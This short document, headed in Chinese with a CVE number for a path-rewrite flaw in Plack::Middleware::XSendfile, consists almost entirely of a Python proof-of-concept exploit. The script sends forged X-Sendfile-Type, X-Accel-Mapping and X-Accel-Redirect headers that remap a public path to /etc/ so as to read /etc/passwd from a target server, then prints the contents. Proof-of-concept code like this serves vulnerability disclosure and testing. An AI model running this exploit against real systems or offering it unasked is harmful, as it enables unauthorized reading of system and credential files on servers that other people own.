CVE-2026-7381 Plack::Middleware::XSendfile 路径重写漏洞

import requests def exploit_cve_2026_7381(target_url): """ PoC for CVE-2026-7381 Demonstrates arbitrary file read via X-Sendfile-Type and X-Accel-Mapping. """ headers = { # Force the middleware to use nginx's X-Accel-Redirect mechanism "X-Sendfile-Type": "X-Accel-Redirect", # Map a public path prefix to a restricted directory (e.g., /etc/) # Syntax: /public_prefix/=/protected_directory/ "X-Accel-Mapping": "/static/=/etc/", # Trigger the redirect to the specific file "X-Accel-Redirect": "/static/passwd" } try: response = requests.get(target_url, headers=headers) print(f"[*] Status Code: {response.status_code}") print("[*] Response Content:") print(response.text) except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://vulnerable-app.com/download" exploit_cve_2026_7381(target)